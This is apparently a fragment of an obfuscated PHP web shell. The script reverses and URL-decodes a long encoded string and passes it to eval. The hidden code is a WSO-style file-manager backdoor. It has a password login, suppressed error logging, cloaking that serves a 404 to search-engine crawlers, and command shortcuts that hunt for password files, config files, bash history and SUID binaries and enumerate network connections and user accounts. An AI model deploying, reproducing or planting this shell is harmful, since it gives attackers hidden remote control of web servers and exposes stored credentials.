+%22selif+fnoc.cnbysp+etacol%22%09%09%0D%0A%2C%22fnoc.dptforp+etacol%22+%3E%3D+%22selif+fnoc.dptforp+etacol%22%09%09%0D%0A%2C%22fnoc.stsohv+etacol%22+%3E%3D+%22selif+fnoc.stsohv+etacol%22%09%09%0D%0A%2C%22fnoc.dptth+etacol%22+%3E%3D+%22selif+fnoc.dptth+etacol%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22etacoL%22%09%09%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+crliamhctef.+dnif%22%09%09++%0D%0A%2C%22crliamhctef.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+crliamhctef.+lla+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+yrotsih_hsab.+dnif%22%09%09++%0D%0A%2C%22yrotsih_hsab.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+yrotsih_hsab.+lla+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwssapth.+dnif%22%09%09++%0D%0A%2C%22dwssapth.+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwssapth.+lla+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dwp.ecivres+dnif%22%09%09++%0D%0A%2C%22dwp.ecivres+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dwp.ecivres+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22sl-+2-+mrep-+%2F+dnif%22+%3E%3D+%22selif+dna+sredlof+elbatirw+lla+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22%22%5C%2Agifnoc%22%5C+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+%2Agifnoc+dnif%22%09%09++%0D%0A%2C%22php.cni.gifnoc+eman-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+php.cni.gifnoc+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+digs+dnif%22%09%09++%0D%0A%2C%22sl-+00020-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+digs+lla+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+.+dnif%22+%3E%3D+%22rid+tnerruc+ni+selif+dius+dnif%22%09%09++%0D%0A%2C%22sl-+00040-+mrep-+f+epyt-+%2F+dnif%22+%3E%3D+%22selif+dius+lla+dnif%22%09%09++%0D%0A%2C%22%22+%3E%3D+%22dniF%22%09%09%0D%0A%2C%22xua+sp%22+%3E%3D+%22sutats+ssecorp%22++++++++%0D%0A%2C%22netsil+i-+perg+%7C+na-+tatsten%22+%3E%3D+%22strop+denepo+wohs%22%09%09++%0D%0A%2C%22av-+rttasl%22+%3E%3D+%22metsys+elif+dednetxe+dnoces+xuniL+a+no+setubirtta+elif+tsil%22%09%09%0D%0A%2C%22ahl-+sl%22+%3E%3D+%22rid+tsiL%22%09%09++%0D%0A%28yarra+%3D+sesaila%24%09%0D%0Aesle%0D%0A%3B%29%09%0D%0A%22lla%2F+gifnocpi%22+%3E%3D+%22noitarugifnoC+PI%22%09%09%0D%0A%2C%22a-+pra%22+%3E%3D+%22elbaT+PRA%22%09%09%0D%0A%2C%22weiv+ten%22+%3E%3D+%22sretupmoc+wohS%22%09++++%0D%0A%2C%22resu+ten%22+%3E%3D+%22stnuocca+resU%22%09++++%0D%0A%2C%22trats+ten%22+%3E%3D+%22secivres+gninnur+wohS%22%09++++%0D%0A%2C%22na-+tatsten%22+%3E%3D+%22snoitcennoc+evitca+wohS%22%09++++%0D%0A%2C%22php.%2Agifnoc%2A+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.%2Agifnoc%2A+dniF%22%09++++%0D%0A%2C%22php.xedni+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.xedni+dniF%22%09++++%0D%0A%2C%22rid%22+%3E%3D+%22yrotceriD+tsiL%22%09%09%0D%0A%28yarra+%3D+sesaila%24%09%0D%0A%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%0D%0A%3Bxaja_esu_tluafed%24%29loob%28+%3D+%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24++++%0D%0A%29%29%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28fi%0D%0A%0D%0A%3B%27%2F%27+%3D.+dwc%24%09%0D%0A%29%27%2F%27+%3D%21+%5D1-%29dwc%24%28nelrts%5Bdwc%24%28fi%0D%0A%7D%0D%0A%3B%29dwc%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc%24%09%0D%0A%3B%29dwc_emoh%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc_emoh%24%09%0D%0A%7B+%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc%24%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28ridhc%40%09%0D%0A%29%29%5D%27c%27%5BTSOP_%24%28tessi%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc_emoh%24%0D%0A%3B%29%27snoitcnuf_elbasid%27%28teg_ini%40+%3D+snoitcnuf_elbasid%24%0D%0A%0D%0A%3B%290%28gnitroper_rorre++++%0D%0A%29edom_efas%24%21%28fi%0D%0A%3B%29%27edom_efas%27%28teg_ini%40+%3D+edom_efas%24%0D%0A%0D%0A%3B%27xin%27+%3D+so%24%09%0D%0Aesle%0D%0A%3B%27niw%27+%3D+so%24%09%0D%0A%29%22niw%22+%3D%3D+%29%293%2C0%2CSO_PHP%28rtsbus%28rewolotrts%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29%28nigoLosw++++++++%0D%0A%29%29ssap_htua%24+%3D%21+%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28+%7C%7C+%29%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28+fi++++%0D%0A%0D%0A%3B%29ssap_htua%24+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29ssap_htua%24+%3D%3D+%29%5D%27ssap%27%5BTSOP_%24%285dm%28+%26%26+%29%5D%27ssap%27%5BTSOP_%24%28tessi%28fi++++%0D%0A%7B+%29%29ssap_htua%24%28ytpme%21%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29v%24+%2Ck%24%28eikooctes++++%0D%0A%3Bv%24+%3D+%5Dk%24%5BEIKOOC_%24++++%0D%0A%7B+%29v%24+%2Ck%24%28eikooctesOSW+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%22%3Eerp%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Essap%3Deman+drowssap%3Depyt+tupni%3C+%3AdrowssaP%3Etsop%3Ddohtem+mrof%3C%3Eretnec%3Dngila+erp%3C%22%28eid%09%0D%0A%7B+%29%28nigoLosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29EIKOOC_%24%28sehsalspirtsOSW+%3D+EIKOOC_%24++++%0D%0A%3B%29TSOP_%24%28sehsalspirtsOSW+%3D+TSOP_%24%09%0D%0A%7D%09%0D%0A%3B%29yarra%24%28sehsalspirts+%3A+%29yarra%24+%2C%27sehsalspirtsOSW%27%28pam_yarra+%3F+%29yarra%24%28yarra_si+nruter%09%09%0D%0A%7B+%29yarra%24%28sehsalspirtsOSW+noitcnuf%09%0D%0A%7B+%29%29%28cpg_setouq_cigam_teg%28fi%0D%0A%0D%0A%3B%29%275.2%27+%2C%27NOISREV_OSW%27%28enifed%40%0D%0A%3B%290%28timil_emit_tes%40%0D%0A%3B%290%2C%27emit_noitucexe_xam%27%28tes_ini%40%0D%0A%3B%290%2C%27srorre_gol%27%28tes_ini%40%0D%0A%3B%29LLUN%2C%27gol_rorre%27%28tes_ini%40%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Btixe++++++++%0D%0A%3B%29%27dnuoF+toN+404+0.1%2FPTTH%27%28redaeh++++++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24+%2C%27i%2F%27+.+%29stnegAresu%24+%2C%27%7C%27%28edolpmi+.+%27%2F%27%28hctam_gerp%28fi++++%0D%0A%3B%29%22relbmaR%22+%2C%22xednaY%22+%2C%22revihcra_ai%22+%2C%22toBNSM%22+%2C%22prulS%22+%2C%22elgooG%22%28yarra+%3D+stnegAresu%24++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24%28ytpme%21%28fi%0D%0A%0D%0A%3B%271521-swodniW%27+%3D+tesrahc_tluafed%24%0D%0A%3Beurt+%3D+xaja_esu_tluafed%24%0D%0A%3B%27naMseliF%27+%3D+noitca_tluafed%24%0D%0A%3B%225fd%23%22+%3D+roloc%24%0D%0A%3B%22%22+%3D+ssap_htua%24";
$code=@urldecode($code);$code=@strrev($code);@eval($code);
?>